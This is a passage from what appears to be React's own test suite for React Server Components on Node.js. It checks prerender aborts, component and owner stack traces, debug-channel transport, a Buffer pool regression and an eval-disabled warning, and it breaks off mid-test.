it('does not propagate abort reasons errors when aborting a prerender', async () => {\n    let resolveGreeting;\n    const greetingPromise = new Promise(resolve => {\n      resolveGreeting = resolve;\n    });\n\n    function App() {\n      return (\n        <div>\n          <ReactServer.Suspense fallback=\"loading...\">\n            <Greeting />\n          </ReactServer.Suspense>\n        </div>\n      );\n    }\n\n    async function Greeting() {\n      await greetingPromise;\n      return 'hello world';\n    }\n\n    const controller = new AbortController();\n    const errors = [];\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(\n          <App />,\n          webpackMap,\n          {\n            signal: controller.signal,\n            onError(err) {\n              errors.push(err);\n            },\n          },\n        ),\n      };\n    });\n\n    controller.abort('boom');\n    resolveGreeting();\n    const {prelude} = await serverAct(() => pendingResult);\n    expect(errors).toEqual([]);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromNodeStream(prelude, {\n      serverConsumerManifest: {\n        moduleMap: null,\n        moduleLoading: null,\n      },\n    });\n    errors.length = 0;\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(\n        React.createElement(ClientRoot, {response}),\n        {\n          onError(error) {\n            errors.push(error);\n          },\n        },\n      ),\n    );\n    ssrStream.abort('bam');\n    expect(errors).toEqual([new Error('Connection closed.')]);\n    // Should still match the result when parsed\n    const result = await readResult(ssrStream);\n    expect(result).toContain('loading...');\n  });\n\n  it('includes source locations in component and owner stacks for halted components', async () => {\n    async function Component() {\n      await new Promise(() => {});\n      return null;\n    }\n\n    function App() {\n      return ReactServer.createElement(\n        'html',\n        null,\n        ReactServer.createElement(\n          'body',\n          null,\n          ReactServer.createElement(\n            ReactServer.Suspense,\n            {fallback: 'Loading...'},\n            ReactServer.createElement(Component, null),\n          ),\n        ),\n      );\n    }\n\n    const errors = [];\n    const serverAbortController = new AbortController();\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          ReactServer.createElement(App, null),\n          webpackMap,\n          {\n            signal: serverAbortController.signal,\n            onError(error) {\n              errors.push(error);\n            },\n          },\n        ),\n      };\n    });\n\n    await await serverAct(\n      async () =>\n        new Promise(resolve => {\n          setImmediate(() => {\n            serverAbortController.abort();\n            resolve();\n          });\n        }),\n    );\n\n    const {prelude} = await pendingResult;\n\n    expect(errors).toEqual([]);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const prerenderResponse = ReactServerDOMClient.createFromReadableStream(\n      await createBufferedUnclosingStream(prelude),\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    let componentStack;\n    let ownerStack;\n\n    const clientAbortController = new AbortController();\n\n    const fizzPrerenderStreamResult = ReactDOMFizzStatic.prerender(\n      React.createElement(ClientRoot, {response: prerenderResponse}),\n      {\n        signal: clientAbortController.signal,\n        onError(error, errorInfo) {\n          componentStack = errorInfo.componentStack;\n          ownerStack = React.captureOwnerStack\n            ? React.captureOwnerStack()\n            : null;\n        },\n      },\n    );\n\n    await await serverAct(\n      async () =>\n        new Promise(resolve => {\n          setImmediate(() => {\n            clientAbortController.abort();\n            resolve();\n          });\n        }),\n    );\n\n    const fizzPrerenderStream = await fizzPrerenderStreamResult;\n    const prerenderHTML = await readWebResult(fizzPrerenderStream.prelude);\n\n    expect(prerenderHTML).toContain('Loading...');\n\n    if (__DEV__) {\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n' +\n          '    in Component' +\n          (gate(flags => flags.enableAsyncDebugInfo) ? ' (at **)\\n' : '\\n') +\n          '    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in App (at **)\\n' +\n          '    in ClientRoot (at **)',\n      );\n    } else {\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in ClientRoot (at **)',\n      );\n    }\n\n    if (__DEV__) {\n      if (gate(flags => flags.enableAsyncDebugInfo)) {\n        expect(normalizeCodeLocInfo(ownerStack)).toBe(\n          '\\n    in Component (at **)\\n    in App (at **)',\n        );\n      } else {\n        expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n      }\n    } else {\n      expect(ownerStack).toBeNull();\n    }\n  });\n\n  it('includes source locations in component and owner stacks for halted Client components', async () => {\n    function SharedComponent({p1, p2, p3}) {\n      use(p1);\n      use(p2);\n      use(p3);\n      return <div>Hello, Dave!</div>;\n    }\n    const ClientComponentOnTheServer = clientExports(SharedComponent);\n    const ClientComponentOnTheClient = clientExports(\n      SharedComponent,\n      123,\n      'path/to/chunk.js',\n    );\n\n    let resolvePendingPromise;\n    function ServerComponent() {\n      const p1 = Promise.resolve();\n      const p2 = new Promise(resolve => {\n        resolvePendingPromise = value => {\n          p2.status = 'fulfilled';\n          p2.value = value;\n          resolve(value);\n        };\n      });\n      const p3 = new Promise(() => {});\n      return ReactServer.createElement(ClientComponentOnTheClient, {\n        p1: p1,\n        p2: p2,\n        p3: p3,\n      });\n    }\n\n    function App() {\n      return ReactServer.createElement(\n        'html',\n        null,\n        ReactServer.createElement(\n          'body',\n          null,\n          ReactServer.createElement(\n            ReactServer.Suspense,\n            {fallback: 'Loading...'},\n            ReactServer.createElement(ServerComponent, null),\n          ),\n        ),\n      );\n    }\n\n    const errors = [];\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        ReactServer.createElement(App, null),\n        webpackMap,\n      ),\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n    rscStream.pipe(readable);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [webpackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': webpackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: webpackModuleLoading,\n    };\n\n    expect(errors).toEqual([]);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const response = ReactServerDOMClient.createFromNodeStream(\n      readable,\n      serverConsumerManifest,\n    );\n\n    let componentStack;\n    let ownerStack;\n\n    const clientAbortController = new AbortController();\n\n    const fizzPrerenderStreamResult = ReactDOMFizzStatic.prerender(\n      React.createElement(ClientRoot, {response}),\n      {\n        signal: clientAbortController.signal,\n        onError(error, errorInfo) {\n          componentStack = errorInfo.componentStack;\n          ownerStack = React.captureOwnerStack\n            ? React.captureOwnerStack()\n            : null;\n        },\n      },\n    );\n\n    resolvePendingPromise('custom-instrum-resolve');\n    await serverAct(\n      async () =>\n        new Promise(resolve => {\n          setImmediate(() => {\n            clientAbortController.abort();\n            resolve();\n          });\n        }),\n    );\n\n    const fizzPrerenderStream = await fizzPrerenderStreamResult;\n    const prerenderHTML = await readWebResult(fizzPrerenderStream.prelude);\n\n    expect(prerenderHTML).toContain('Loading...');\n\n    if (__DEV__) {\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n' +\n          '    in SharedComponent (at **)\\n' +\n          '    in ServerComponent' +\n          (gate(flags => flags.enableAsyncDebugInfo) ? ' (at **)' : '') +\n          '\\n' +\n          '    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in App (at **)\\n' +\n          '    in ClientRoot (at **)',\n      );\n    } else {\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n' +\n          '    in SharedComponent (at **)\\n' +\n          '    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in ClientRoot (at **)',\n      );\n    }\n\n    if (__DEV__) {\n      expect(ignoreListStack(ownerStack)).toBe(\n        // eslint-disable-next-line react-internal/safe-string-coercion\n        '' +\n          // The concrete location may change as this test is updated.\n          // Just make sure they still point at React.use(p2)\n          (gate(flags => flags.enableAsyncDebugInfo)\n            ? '\\n    at SharedComponent (./ReactFlightDOMNode-test.js:813:7)'\n            : '') +\n          '\\n    at ServerComponent (file://./ReactFlightDOMNode-test.js:835:26)' +\n          '\\n    at App (file://./ReactFlightDOMNode-test.js:852:25)',\n      );\n    } else {\n      expect(ownerStack).toBeNull();\n    }\n  });\n\n  it('includes deeper location for aborted stacks', async () => {\n    async function getData() {\n      const signal = ReactServer.cacheSignal();\n      await new Promise((resolve, reject) => {\n        signal.addEventListener('abort', () => reject(signal.reason));\n      });\n    }\n\n    async function thisShouldNotBeInTheStack() {\n      await new Promise((resolve, reject) => {\n        resolve();\n      });\n    }\n\n    async function Component() {\n      try {\n        await getData();\n      } catch (x) {\n        await thisShouldNotBeInTheStack(); // This is issued after the rejection so should not be included.\n      }\n      return null;\n    }\n\n    function App() {\n      return ReactServer.createElement(\n        'html',\n        null,\n        ReactServer.createElement(\n          'body',\n          null,\n          ReactServer.createElement(\n            ReactServer.Suspense,\n            {fallback: 'Loading...'},\n            ReactServer.createElement(Component, null),\n          ),\n        ),\n      );\n    }\n\n    const errors = [];\n    const serverAbortController = new AbortController();\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          ReactServer.createElement(App, null),\n          webpackMap,\n          {\n            signal: serverAbortController.signal,\n            onError(error) {\n              errors.push(error);\n            },\n            filterStackFrame,\n          },\n        ),\n      };\n    });\n\n    await serverAct(\n      () =>\n        new Promise(resolve => {\n          setImmediate(() => {\n            serverAbortController.abort();\n            resolve();\n          });\n        }),\n    );\n\n    const {prelude} = await pendingResult;\n\n    expect(errors).toEqual([]);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const prerenderResponse = ReactServerDOMClient.createFromReadableStream(\n      await createBufferedUnclosingStream(prelude),\n      {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      },\n    );\n\n    let componentStack;\n    let ownerStack;\n\n    const clientAbortController = new AbortController();\n\n    const fizzPrerenderStreamResult = ReactDOMFizzStatic.prerender(\n      React.createElement(ClientRoot, {response: prerenderResponse}),\n      {\n        signal: clientAbortController.signal,\n        onError(error, errorInfo) {\n          componentStack = errorInfo.componentStack;\n          ownerStack = React.captureOwnerStack\n            ? React.captureOwnerStack()\n            : null;\n        },\n      },\n    );\n\n    await await serverAct(\n      async () =>\n        new Promise(resolve => {\n          setImmediate(() => {\n            clientAbortController.abort();\n            resolve();\n          });\n        }),\n    );\n\n    const fizzPrerenderStream = await fizzPrerenderStreamResult;\n    const prerenderHTML = await readWebResult(fizzPrerenderStream.prelude);\n\n    expect(prerenderHTML).toContain('Loading...');\n\n    if (__DEV__) {\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n' +\n          '    in Component' +\n          (gate(flags => flags.enableAsyncDebugInfo) ? ' (at **)\\n' : '\\n') +\n          '    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in App (at **)\\n' +\n          '    in ClientRoot (at **)',\n      );\n    } else {\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in ClientRoot (at **)',\n      );\n    }\n\n    if (__DEV__) {\n      if (gate(flags => flags.enableAsyncDebugInfo)) {\n        expect(normalizeCodeLocInfo(ownerStack)).toBe(\n          '' +\n            '\\n    in getData (at **)' +\n            '\\n    in Component (at **)' +\n            '\\n    in App (at **)',\n        );\n      } else {\n        expect(normalizeCodeLocInfo(ownerStack)).toBe(\n          '' + '\\n    in App (at **)',\n        );\n      }\n    } else {\n      expect(ownerStack).toBeNull();\n    }\n  });\n\n  it('can handle an empty prelude when prerendering', async () => {\n    function App() {\n      return null;\n    }\n\n    const serverAbortController = new AbortController();\n    serverAbortController.abort();\n    const errors = [];\n    const {pendingResult} = await serverAct(async () => {\n      // destructure trick to avoid the act scope from awaiting the returned value\n      return {\n        pendingResult: ReactServerDOMStaticServer.prerender(\n          ReactServer.createElement(App, null),\n          webpackMap,\n          {\n            signal: serverAbortController.signal,\n            onError(error) {\n              errors.push(error);\n            },\n          },\n        ),\n      };\n    });\n\n    expect(errors).toEqual([]);\n\n    const {prelude} = await pendingResult;\n\n    const reader = prelude.getReader();\n    while (true) {\n      const {done} = await reader.read();\n      if (done) {\n        break;\n      }\n    }\n\n    // We don't really have an assertion other than to make sure\n    // the stream doesn't hang.\n  });\n\n  // @gate __DEV__\n  it('can transport debug info through a separate debug channel', async () => {\n    function Thrower() {\n      throw new Error('ssr-throw');\n    }\n\n    const ClientComponentOnTheClient = clientExports(\n      Thrower,\n      123,\n      'path/to/chunk.js',\n    );\n\n    const ClientComponentOnTheServer = clientExports(Thrower);\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponentOnTheClient, null),\n      );\n    }\n\n    const debugReadable = new Stream.PassThrough(streamOptions);\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        ReactServer.createElement(App, null),\n        webpackMap,\n        {\n          debugChannel: new Stream.Writable({\n            write(chunk, encoding, callback) {\n              debugReadable.write(chunk, encoding);\n              callback();\n            },\n            final() {\n              debugReadable.end();\n            },\n          }),\n        },\n      ),\n    );\n\n    // Create a delayed stream to simulate that the RSC stream might be\n    // transported slower than the debug channel, which must not lead to a\n    // `Connection closed` error in the Flight client.\n    const {delayedStream, resolveDelayedStream} = createDelayedStream();\n\n    rscStream.pipe(delayedStream);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [webpackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': webpackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: webpackModuleLoading,\n    };\n\n    const response = ReactServerDOMClient.createFromNodeStream(\n      delayedStream,\n      serverConsumerManifest,\n      {debugChannel: debugReadable},\n    );\n\n    setTimeout(resolveDelayedStream);\n\n    let ownerStack;\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(\n        <ClientRoot response={response} />,\n        {\n          onError(err, errorInfo) {\n            ownerStack = React.captureOwnerStack\n              ? React.captureOwnerStack()\n              : null;\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(ssrStream);\n\n    expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n\n    expect(result).toContain(\n      'Switched to client rendering because the server rendering errored:\\n\\nssr-throw',\n    );\n  });\n\n  // @gate __DEV__\n  it('can transport debug info through a slow debug channel', async () => {\n    function Thrower() {\n      throw new Error('ssr-throw');\n    }\n\n    const ClientComponentOnTheClient = clientExports(\n      Thrower,\n      123,\n      'path/to/chunk.js',\n    );\n\n    const ClientComponentOnTheServer = clientExports(Thrower);\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponentOnTheClient, null),\n      );\n    }\n\n    // Create a delayed stream to simulate that the debug stream might be\n    // transported slower than the RSC stream, which must not lead to missing\n    // debug info.\n    const {delayedStream, resolveDelayedStream} = createDelayedStream();\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        ReactServer.createElement(App, null),\n        webpackMap,\n        {\n          debugChannel: new Stream.Writable({\n            write(chunk, encoding, callback) {\n              delayedStream.write(chunk, encoding);\n              callback();\n            },\n            final() {\n              delayedStream.end();\n            },\n          }),\n        },\n      ),\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    rscStream.pipe(readable);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [webpackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': webpackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: webpackModuleLoading,\n    };\n\n    const response = ReactServerDOMClient.createFromNodeStream(\n      readable,\n      serverConsumerManifest,\n      {debugChannel: delayedStream},\n    );\n\n    setTimeout(resolveDelayedStream);\n\n    let ownerStack;\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(\n        <ClientRoot response={response} />,\n        {\n          onError(err, errorInfo) {\n            ownerStack = React.captureOwnerStack\n              ? React.captureOwnerStack()\n              : null;\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(ssrStream);\n\n    expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n\n    expect(result).toContain(\n      'Switched to client rendering because the server rendering errored:\\n\\nssr-throw',\n    );\n  });\n\n  // This is a regression test for a specific issue where byte Web Streams are\n  // detaching ArrayBuffers, which caused downstream issues (e.g. \"Cannot\n  // perform Construct on a detached ArrayBuffer\") for chunks that are using\n  // Node's internal Buffer pool.\n  it('should not corrupt the Node.js Buffer pool by detaching ArrayBuffers when using Web Streams', async () => {\n    // Create a temp file smaller than 4KB to ensure it uses the Buffer pool.\n    const file = path.join(os.tmpdir(), 'test.bin');\n    fs.writeFileSync(file, Buffer.alloc(4095));\n    const fileChunk = fs.readFileSync(file);\n    fs.unlinkSync(file);\n\n    // Verify this chunk uses the Buffer pool (8192 bytes for files < 4KB).\n    expect(fileChunk.buffer.byteLength).toBe(8192);\n\n    const readable = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(fileChunk, webpackMap),\n    );\n\n    // Create a Web Streams WritableStream that tries to use Buffer operations.\n    const writable = new WritableStream({\n      write(chunk) {\n        // Only write one byte to ensure Node.js is not creating a new Buffer\n        // pool. Typically, library code (e.g. a compression middleware) would\n        // call Buffer.from(chunk) or similar, instead of allocating a new\n        // Buffer directly. With that, the test file could only be ~2600 bytes.\n        Buffer.allocUnsafe(1);\n      },\n    });\n\n    // Must not throw an error.\n    await readable.pipeTo(writable);\n  });\n\n  describe('with real timers', () => {\n    // These tests schedule their rendering in a way that requires real timers\n    // to be used to accurately represent how this interacts with React's\n    // internal scheduling.\n\n    beforeEach(() => {\n      jest.useRealTimers();\n    });\n\n    afterEach(() => {\n      jest.useFakeTimers();\n    });\n\n    it('should use late-arriving I/O debug info to enhance component and owner stacks when aborting a prerender', async () => {\n      let resolveDynamicData1;\n      let resolveDynamicData2;\n\n      async function getDynamicData1() {\n        return new Promise(resolve => {\n          resolveDynamicData1 = resolve;\n        });\n      }\n\n      async function getDynamicData2() {\n        return new Promise(resolve => {\n          resolveDynamicData2 = resolve;\n        });\n      }\n\n      async function Dynamic() {\n        const data1 = await getDynamicData1();\n        const data2 = await getDynamicData2();\n\n        return ReactServer.createElement('p', null, data1, ' ', data2);\n      }\n\n      function App() {\n        return ReactServer.createElement(\n          'html',\n          null,\n          ReactServer.createElement(\n            'body',\n            null,\n            ReactServer.createElement(Dynamic),\n          ),\n        );\n      }\n\n      let staticEndTime = -1;\n      const initialChunks = [];\n      const dynamicChunks = [];\n\n      await new Promise(resolve => {\n        setTimeout(async () => {\n          const stream = ReactServerDOMServer.renderToPipeableStream(\n            ReactServer.createElement(App),\n            webpackMap,\n            {filterStackFrame},\n          );\n\n          const passThrough = new Stream.PassThrough(streamOptions);\n          stream.pipe(passThrough);\n\n          passThrough.on('data', chunk => {\n            if (staticEndTime < 0) {\n              initialChunks.push(chunk);\n            } else {\n              dynamicChunks.push(chunk);\n            }\n          });\n\n          passThrough.on('end', resolve);\n        });\n        setTimeout(() => {\n          staticEndTime = performance.now() + performance.timeOrigin;\n          resolveDynamicData1('Hi');\n          setTimeout(() => {\n            resolveDynamicData2('Josh');\n          });\n        });\n      });\n\n      // Create a new Readable and push all initial chunks immediately.\n      const readable = new Stream.Readable({...streamOptions, read() {}});\n      for (let i = 0; i < initialChunks.length; i++) {\n        readable.push(initialChunks[i]);\n      }\n\n      const abortController = new AbortController();\n\n      // When prerendering is aborted, push all dynamic chunks. They won't be\n      // considered for rendering, but they include debug info we want to use.\n      abortController.signal.addEventListener(\n        'abort',\n        () => {\n          for (let i = 0; i < dynamicChunks.length; i++) {\n            readable.push(dynamicChunks[i]);\n          }\n        },\n        {once: true},\n      );\n\n      const response = ReactServerDOMClient.createFromNodeStream(\n        readable,\n        {\n          serverConsumerManifest: {\n            moduleMap: null,\n            moduleLoading: null,\n          },\n        },\n        {\n          // Debug info arriving after this end time will be ignored, e.g. the\n          // I/O info for the second dynamic data.\n          endTime: staticEndTime,\n        },\n      );\n\n      function ClientRoot() {\n        return use(response);\n      }\n\n      let componentStack;\n      let ownerStack;\n\n      const {prelude} = await new Promise(resolve => {\n        let result;\n\n        setTimeout(() => {\n          result = ReactDOMFizzStatic.prerenderToNodeStream(\n            React.createElement(ClientRoot),\n            {\n              signal: abortController.signal,\n              onError(error, errorInfo) {\n                componentStack = errorInfo.componentStack;\n                ownerStack = React.captureOwnerStack\n                  ? React.captureOwnerStack()\n                  : null;\n              },\n            },\n          );\n        });\n\n        setTimeout(() => {\n          abortController.abort();\n          resolve(result);\n        });\n      });\n\n      const prerenderHTML = await readResult(prelude);\n\n      expect(prerenderHTML).toBe('');\n\n      if (__DEV__) {\n        expect(\n          normalizeCodeLocInfo(componentStack, {preserveLocation: true}),\n        ).toBe(\n          '\\n' +\n            '    in Dynamic' +\n            (gate(flags => flags.enableAsyncDebugInfo)\n              ? ' (file://ReactFlightDOMNode-test.js:1416:27)\\n'\n              : '\\n') +\n            '    in body\\n' +\n            '    in html\\n' +\n            '    in App (file://ReactFlightDOMNode-test.js:1429:25)\\n' +\n            '    in ClientRoot (ReactFlightDOMNode-test.js:1504:16)',\n        );\n      } else {\n        expect(\n          normalizeCodeLocInfo(componentStack, {preserveLocation: true}),\n        ).toBe(\n          '\\n' +\n            '    in body\\n' +\n            '    in html\\n' +\n            '    in ClientRoot (ReactFlightDOMNode-test.js:1504:16)',\n        );\n      }\n\n      if (__DEV__) {\n        if (gate(flags => flags.enableAsyncDebugInfo)) {\n          expect(\n            normalizeCodeLocInfo(ownerStack, {preserveLocation: true}),\n          ).toBe(\n            '\\n' +\n              '    in Dynamic (file://ReactFlightDOMNode-test.js:1416:27)\\n' +\n              '    in App (file://ReactFlightDOMNode-test.js:1429:25)',\n          );\n        } else {\n          expect(\n            normalizeCodeLocInfo(ownerStack, {preserveLocation: true}),\n          ).toBe(\n            '' +\n              '\\n' +\n              '    in App (file://ReactFlightDOMNode-test.js:1429:25)',\n          );\n        }\n      } else {\n        expect(ownerStack).toBeNull();\n      }\n    });\n\n    function createReadableWithLateRelease(initialChunks, lateChunks, signal) {\n      // Create a new Readable and push all initial chunks immediately.\n      const readable = new Stream.Readable({...streamOptions, read() {}});\n      for (let i = 0; i < initialChunks.length; i++) {\n        readable.push(initialChunks[i]);\n      }\n\n      // When prerendering is aborted, push all dynamic chunks. They won't be\n      // considered for rendering, but they include debug info we want to use.\n      signal.addEventListener(\n        'abort',\n        () => {\n          for (let i = 0; i < lateChunks.length; i++) {\n            readable.push(lateChunks[i]);\n          }\n          setImmediate(() => {\n            readable.push(null);\n          });\n        },\n        {once: true},\n      );\n\n      return readable;\n    }\n\n    async function reencodeFlightStream(\n      staticChunks,\n      dynamicChunks,\n      startTime,\n      serverConsumerManifest,\n    ) {\n      let staticEndTime = -1;\n      const chunks = {\n        static: [],\n        dynamic: [],\n      };\n      await new Promise(async resolve => {\n        const renderStageController = new AbortController();\n\n        const serverStream = createReadableWithLateRelease(\n          staticChunks,\n          dynamicChunks,\n          renderStageController.signal,\n        );\n        const decoded = await ReactServerDOMClient.createFromNodeStream(\n          serverStream,\n          serverConsumerManifest,\n          {\n            // We're re-encoding the whole stream, so we don't want to filter out any debug info.\n            endTime: undefined,\n          },\n        );\n\n        setTimeout(async () => {\n          const stream = ReactServerDOMServer.renderToPipeableStream(\n            decoded,\n            webpackMap,\n            {\n              filterStackFrame,\n              // Pass in the original render's startTime to avoid omitting its IO info.\n              startTime,\n            },\n          );\n\n          const passThrough = new Stream.PassThrough(streamOptions);\n\n          passThrough.on('data', chunk => {\n            if (!renderStageController.signal.aborted) {\n              chunks.static.push(chunk);\n            } else {\n              chunks.dynamic.push(chunk);\n            }\n          });\n          passThrough.on('end', resolve);\n\n          stream.pipe(passThrough);\n        });\n\n        setTimeout(() => {\n          staticEndTime = performance.now() + performance.timeOrigin;\n          renderStageController.abort();\n        });\n      });\n\n      return {chunks, staticEndTime};\n    }\n\n    // @gate __DEV__\n    it('can preserve old IO info when decoding and re-encoding a stream with options.startTime', async () => {\n      let resolveDynamicData;\n\n      function getDynamicData() {\n        return new Promise(resolve => {\n          resolveDynamicData = resolve;\n        });\n      }\n\n      async function Dynamic() {\n        const data = await getDynamicData();\n        return ReactServer.createElement('p', null, data);\n      }\n\n      function App() {\n        return ReactServer.createElement(\n          'html',\n          null,\n          ReactServer.createElement(\n            'body',\n            null,\n            ReactServer.createElement(\n              ReactServer.Suspense,\n              {fallback: 'Loading...'},\n              // TODO: having a wrapper <section> here seems load-bearing.\n              // ReactServer.createElement(ReactServer.createElement(Dynamic)),\n              ReactServer.createElement(\n                'section',\n                null,\n                ReactServer.createElement(Dynamic),\n              ),\n            ),\n          ),\n        );\n      }\n\n      const resolveDynamic = () => {\n        resolveDynamicData('Hi Janka');\n      };\n\n      // 1. Render <App />, dividing the output into static and dynamic content.\n\n      let startTime = -1;\n\n      let isStatic = true;\n      const chunks1 = {\n        static: [],\n        dynamic: [],\n      };\n\n      await new Promise(resolve => {\n        setTimeout(async () => {\n          startTime = performance.now() + performance.timeOrigin;\n\n          const stream = ReactServerDOMServer.renderToPipeableStream(\n            ReactServer.createElement(App),\n            webpackMap,\n            {\n              filterStackFrame,\n              startTime,\n              environmentName() {\n                return isStatic ? 'Prerender' : 'Server';\n              },\n            },\n          );\n\n          const passThrough = new Stream.PassThrough(streamOptions);\n\n          passThrough.on('data', chunk => {\n            if (isStatic) {\n              chunks1.static.push(chunk);\n            } else {\n              chunks1.dynamic.push(chunk);\n            }\n          });\n          passThrough.on('end', resolve);\n\n          stream.pipe(passThrough);\n        });\n        setTimeout(() => {\n          isStatic = false;\n          resolveDynamic();\n        });\n      });\n\n      //===============================================\n      // 2. Decode the stream from the previous step and render it again.\n      // This should preserve existing debug info.\n\n      const serverConsumerManifest = {\n        moduleMap: null,\n        moduleLoading: null,\n      };\n\n      const {chunks: chunks2, staticEndTime: reencodeStaticEndTime} =\n        await reencodeFlightStream(\n          chunks1.static,\n          chunks1.dynamic,\n          // This is load-bearing. If we don't pass a startTime, IO info\n          // from the initial render will be skipped (because it finished in the past)\n          // and we won't get the precise location of the blocking await in the owner stack.\n          startTime,\n          serverConsumerManifest,\n        );\n\n      //===============================================\n      // 3. SSR the stream from the previous step and abort it after the static stage\n      // (which should trigger `onError` for each \"hole\" that hasn't resolved yet)\n\n      function ClientRoot({response}) {\n        return use(response);\n      }\n\n      let ssrStream;\n      let ownerStack;\n      let componentStack;\n\n      await new Promise(async (resolve, reject) => {\n        const renderController = new AbortController();\n\n        const serverStream = createReadableWithLateRelease(\n          chunks2.static,\n          chunks2.dynamic,\n          renderController.signal,\n        );\n\n        const decodedPromise = ReactServerDOMClient.createFromNodeStream(\n          serverStream,\n          serverConsumerManifest,\n          {\n            endTime: reencodeStaticEndTime,\n          },\n        );\n\n        setTimeout(() => {\n          ssrStream = ReactDOMServer.renderToPipeableStream(\n            React.createElement(ClientRoot, {\n              response: decodedPromise,\n            }),\n            {\n              onError(err, errorInfo) {\n                componentStack = errorInfo.componentStack;\n                ownerStack = React.captureOwnerStack\n                  ? React.captureOwnerStack()\n                  : null;\n                return null;\n              },\n            },\n          );\n\n          renderController.signal.addEventListener(\n            'abort',\n            () => {\n              const {reason} = renderController.signal;\n              ssrStream.abort(reason);\n            },\n            {\n              once: true,\n            },\n          );\n        });\n\n        setTimeout(() => {\n          renderController.abort(new Error('ssr-abort'));\n          resolve();\n        });\n      });\n\n      const result = await readResult(ssrStream);\n\n      expect(normalizeCodeLocInfo(componentStack)).toBe(\n        '\\n' +\n          // TODO:\n          // when we reencode a stream, the component stack doesn't have server frames for the dynamic content\n          // (which is what causes the dynamic hole here)\n          // because Flight delays forwarding debug info for lazies until they resolve.\n          // (the owner stack is filled in `pushHaltedAwaitOnComponentStack`, so it works fine)\n          //\n          // '    in Dynamic (at **)\\n'\n          '    in section\\n' +\n          '    in Suspense\\n' +\n          '    in body\\n' +\n          '    in html\\n' +\n          '    in App (at **)\\n' +\n          '    in ClientRoot (at **)',\n      );\n      expect(normalizeCodeLocInfo(ownerStack)).toBe(\n        '\\n' +\n          gate(flags =>\n            flags.enableAsyncDebugInfo\n              ? '    in Dynamic (at **)\\n'\n              : '    in section\\n',\n          ) +\n          '    in App (at **)',\n      );\n\n      expect(result).toContain(\n        'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n          'ssr-abort',\n      );\n    });\n  });\n\n  it('warns with a tailored message if eval is not available in dev', async () => {\n    // eslint-disable-next-line no-eval\n    const previousEval = globalThis.eval.bind(globalThis);\n    // eslint-disable-next-line no-eval\n    globalThis.eval = () => {\n      throw new Error('eval is disabled');\n    };\n\n    try {\n      const readable = await serverAct(() =>\n        ReactServerDOMServer.renderToReadableStream({}, webpackMap),\n      );\n\n      assertConsoleErrorDev([]);\n\n      await ReactServerDOMClient.createFromReadableStream(readable, {\n        serverConsumerManifest: {\n          moduleMap: null,\n          moduleLoading: null,\n        },\n      });\n\n      assertConsoleErrorDev([\n        'eval() is not supported in this environment. ' +\n          'This can happen if you started the Node.js process with --disallow-code-generation-from-strings, ' +\n          'or if `eval` was patched by other means. ' +\n          'React requires eval() in development mode for various debugging features ' +\n          'like reconstructing callstacks from a different environment.\\n' +\n          'React will never use eval() in production mode',\n      ]);\n    } finally {\n      // 